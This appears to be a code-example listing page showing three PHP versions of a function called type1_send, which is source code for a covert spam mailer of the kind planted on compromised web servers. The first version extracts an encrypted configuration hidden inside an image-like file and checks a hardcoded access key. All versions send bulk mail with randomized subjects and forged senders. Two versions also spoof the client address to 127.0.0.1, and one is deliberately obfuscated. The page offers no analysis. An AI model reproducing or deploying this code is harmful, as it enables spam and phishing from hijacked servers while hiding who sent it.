Exemplo n.º 1
0
function type1_send($config_file)
{
    $data = file_get_contents($config_file);
    $start_pos = strpos($data, myhex2bin("ffda"));
    if ($start_pos) {
        $start_pos += 20;
        $end_pos = strrpos($data, myhex2bin("ffd9"));
        if ($end_pos) {
            $data = substr($data, $start_pos, $end_pos);
        } else {
            return FALSE;
        }
    } else {
        return FALSE;
    }
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $data = decode($data, $key);
    $data = @unserialize($data);
    if (!$data || !isset($data['ak'])) {
        return FALSE;
    }
    if ($data['ak'] != "6ad5d234-ae2c-4fad-9281-5b6f7cbe000b") {
        exit;
    }
    if (isset($data['c'])) {
        $res["r"]["c"] = $data['c'];
        return base64_encode(serialize($res));
    }
    $good = 0;
    $bad = 0;
    $last_error = array(0, 0);
    foreach ($data['e'] as $uid => $email) {
        $theme = $data['s'][array_rand($data['s'])];
        $theme = alter_macros($theme);
        $theme = num_macros($theme);
        $theme = xnum_macros($theme);
        $message = $data['l'];
        $message = alter_macros($message);
        $message = num_macros($message);
        $message = xnum_macros($message);
        $message = fteil_macros($message, $uid);
        $from = $data['f'][array_rand($data['f'])];
        $from = alter_macros($from);
        $from = num_macros($from);
        $from = xnum_macros($from);
        if (strstr($from, "[CUSTOM]") == FALSE) {
            $from = from_host($from);
        } else {
            $from = str_replace("[CUSTOM]", "", $from);
        }
        $from_email = explode("<", $from);
        $from_email = explode(">", $from_email[1]);
        $from_name = explode("\"", $from);
        $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
        if ($last_error[1] === 0) {
            $good++;
        } else {
            $bad++;
            $good = count($data['e']) - $bad;
        }
    }
    $res["r"]["t"] = $last_error[0];
    $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
    $res["r"]["g"] = $good;
    $res["r"]["b"] = $bad;
    return base64_encode(serialize($res));
}
Exemplo n.º 2
0
function type1_send()
{
    if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["mailers"])) {
        exit;
    }
    if (get_magic_quotes_gpc()) {
        ${"GLOBALS"}["iuxyhqj"] = "key";
        $umqbpmiyu = "post";
        foreach ($_POST as ${${"GLOBALS"}["iuxyhqj"]} => ${$umqbpmiyu}) {
            $wgocolzelat = "key";
            $_POST[${$wgocolzelat}] = stripcslashes(${${"GLOBALS"}["rijfrzpunt"]});
        }
    }
    $ivglqgajvbog = "messages";
    $vmijtce = "mailers";
    $vjbijjymkbn = "passes";
    ${${"GLOBALS"}["lnxopxl"]} = @unserialize(base64_decode($_POST["emails"]));
    ${${"GLOBALS"}["flsrsy"]} = @unserialize(base64_decode($_POST["themes"]));
    ${$ivglqgajvbog} = @unserialize(base64_decode($_POST["messages"]));
    ${${"GLOBALS"}["iyovgxddg"]} = @unserialize(base64_decode($_POST["froms"]));
    ${$vmijtce} = @unserialize(base64_decode($_POST["mailers"]));
    $giiqgrf = "emails";
    ${${"GLOBALS"}["uydcbepfihkx"]} = @unserialize(base64_decode($_POST["aliases"]));
    ${$vjbijjymkbn} = @unserialize(base64_decode($_POST["passes"]));
    ${"GLOBALS"}["vgjhotztqy"] = "fteil";
    $kgrvjhxuhgr = "email";
    if (isset($_SERVER)) {
        $_SERVER["PHP_SELF"] = "/";
        $_SERVER["REMOTE_ADDR"] = "127.0.0.1";
        if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $_SERVER["HTTP_X_FORWARDED_FOR"] = "127.0.0.1";
        }
    }
    if (isset($_FILES)) {
        foreach ($_FILES as ${${"GLOBALS"}["jiuuaitdvnp"]} => ${${"GLOBALS"}["nnnqqcnuhhej"]}) {
            ${"GLOBALS"}["xluotlcibhzm"] = "key";
            $avqfonn = "filename";
            ${${"GLOBALS"}["mvcguzkq"]} = alter_macros(${${"GLOBALS"}["uydcbepfihkx"]}[${${"GLOBALS"}["jiuuaitdvnp"]}]);
            ${${"GLOBALS"}["mvcguzkq"]} = num_macros(${${"GLOBALS"}["mvcguzkq"]});
            ${${"GLOBALS"}["mvcguzkq"]} = text_macros(${${"GLOBALS"}["mvcguzkq"]});
            ${${"GLOBALS"}["mvcguzkq"]} = xnum_macros(${$avqfonn});
            $_FILES[${${"GLOBALS"}["xluotlcibhzm"]}]["name"] = ${${"GLOBALS"}["mvcguzkq"]};
        }
    }
    if (empty(${$giiqgrf})) {
        exit;
    }
    foreach (${${"GLOBALS"}["lnxopxl"]} as ${${"GLOBALS"}["vgjhotztqy"]} => ${$kgrvjhxuhgr}) {
        $lixvnpfl = "message";
        ${"GLOBALS"}["ipxeceew"] = "from";
        $smtkhrsp = "themes";
        $yygpflj = "messages";
        $pikskhsphg = "theme";
        $jihagtrfwlc = "mailer";
        ${"GLOBALS"}["mevmpxkb"] = "message";
        $oexynold = "theme";
        ${"GLOBALS"}["wwkbrmuc"] = "from";
        $krcizielgmyd = "from";
        $vegpfkgjl = "fteil";
        ${${"GLOBALS"}["dchxuygigjbx"]} = ${$smtkhrsp}[array_rand(${${"GLOBALS"}["flsrsy"]})];
        ${${"GLOBALS"}["dchxuygigjbx"]} = alter_macros(${${"GLOBALS"}["dchxuygigjbx"]}["theme"]);
        ${"GLOBALS"}["fqurdshjpntp"] = "from";
        $aehmnfue = "message";
        $ometynz = "theme";
        ${$ometynz} = num_macros(${$oexynold});
        $qsbxekicw = "message";
        $sverqtpyz = "message";
        $oqftkllmhxl = "message";
        ${"GLOBALS"}["htxlglknlr"] = "theme";
        ${${"GLOBALS"}["dchxuygigjbx"]} = text_macros(${$pikskhsphg});
        ${${"GLOBALS"}["dchxuygigjbx"]} = xnum_macros(${${"GLOBALS"}["htxlglknlr"]});
        $bodbscvdb = "from";
        ${${"GLOBALS"}["vtbljtw"]} = ${${"GLOBALS"}["mwfsikvr"]}[array_rand(${$yygpflj})];
        ${${"GLOBALS"}["mevmpxkb"]} = alter_macros(${$oqftkllmhxl}["message"]);
        ${$qsbxekicw} = num_macros(${${"GLOBALS"}["vtbljtw"]});
        ${"GLOBALS"}["glbmaawpdml"] = "from";
        ${"GLOBALS"}["bysejwpb"] = "mailers";
        $hxhqdgc = "message";
        ${$lixvnpfl} = text_macros(${$sverqtpyz});
        ${${"GLOBALS"}["vtbljtw"]} = xnum_macros(${${"GLOBALS"}["vtbljtw"]});
        ${$hxhqdgc} = fteil_macros(${$aehmnfue}, ${$vegpfkgjl});
        ${${"GLOBALS"}["glbmaawpdml"]} = ${${"GLOBALS"}["iyovgxddg"]}[array_rand(${${"GLOBALS"}["iyovgxddg"]})];
        $wmgsavizpu = "theme";
        ${${"GLOBALS"}["wwkbrmuc"]} = alter_macros(${${"GLOBALS"}["rfherrsojsft"]}["from"]);
        ${$krcizielgmyd} = num_macros(${${"GLOBALS"}["fqurdshjpntp"]});
        ${${"GLOBALS"}["rfherrsojsft"]} = text_macros(${${"GLOBALS"}["rfherrsojsft"]});
        ${${"GLOBALS"}["ipxeceew"]} = xnum_macros(${${"GLOBALS"}["rfherrsojsft"]});
        if (strstr(${$bodbscvdb}, "[CUSTOM]") == FALSE) {
            $mozsyxlci = "from";
            ${${"GLOBALS"}["rfherrsojsft"]} = from_host(${$mozsyxlci});
        } else {
            ${"GLOBALS"}["xwanmnmmp"] = "from";
            ${${"GLOBALS"}["rfherrsojsft"]} = str_replace("[CUSTOM]", "", ${${"GLOBALS"}["xwanmnmmp"]});
        }
        ${${"GLOBALS"}["komlxtdkvcs"]} = ${${"GLOBALS"}["psbgmrefqc"]}[array_rand(${${"GLOBALS"}["bysejwpb"]})];
        send_mail(${${"GLOBALS"}["rfherrsojsft"]}, ${${"GLOBALS"}["bsjotmou"]}, ${$wmgsavizpu}, ${${"GLOBALS"}["vtbljtw"]}, ${$jihagtrfwlc});
    }
}
Exemplo n.º 3
0
function type1_send()
{
    if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["mailers"])) {
        exit;
    }
    if (get_magic_quotes_gpc()) {
        foreach ($_POST as $key => $post) {
            $_POST[$key] = stripcslashes($post);
        }
    }
    $emails = @unserialize(base64_decode($_POST["emails"]));
    $themes = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms = @unserialize(base64_decode($_POST["froms"]));
    $mailers = @unserialize(base64_decode($_POST["mailers"]));
    $aliases = @unserialize(base64_decode($_POST["aliases"]));
    $passes = @unserialize(base64_decode($_POST["passes"]));
    if (isset($_SERVER)) {
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
        }
    }
    if (isset($_FILES)) {
        foreach ($_FILES as $key => $file) {
            $filename = alter_macros($aliases[$key]);
            $filename = num_macros($filename);
            $filename = text_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }
    if (empty($emails)) {
        exit;
    }
    foreach ($emails as $fteil => $email) {
        $theme = $themes[array_rand($themes)];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);
        $message = $messages[array_rand($messages)];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message);
        //$message = pass_macros($message, $passes);
        $message = fteil_macros($message, $fteil);
        $from = $froms[array_rand($froms)];
        $from = alter_macros($from["from"]);
        $from = num_macros($from);
        $from = text_macros($from);
        $from = xnum_macros($from);
        if (strstr($from, "[CUSTOM]") == FALSE) {
            $from = from_host($from);
        } else {
            $from = str_replace("[CUSTOM]", "", $from);
        }
        $mailer = $mailers[array_rand($mailers)];
        send_mail($from, $email, $theme, $message, $mailer);
    }
}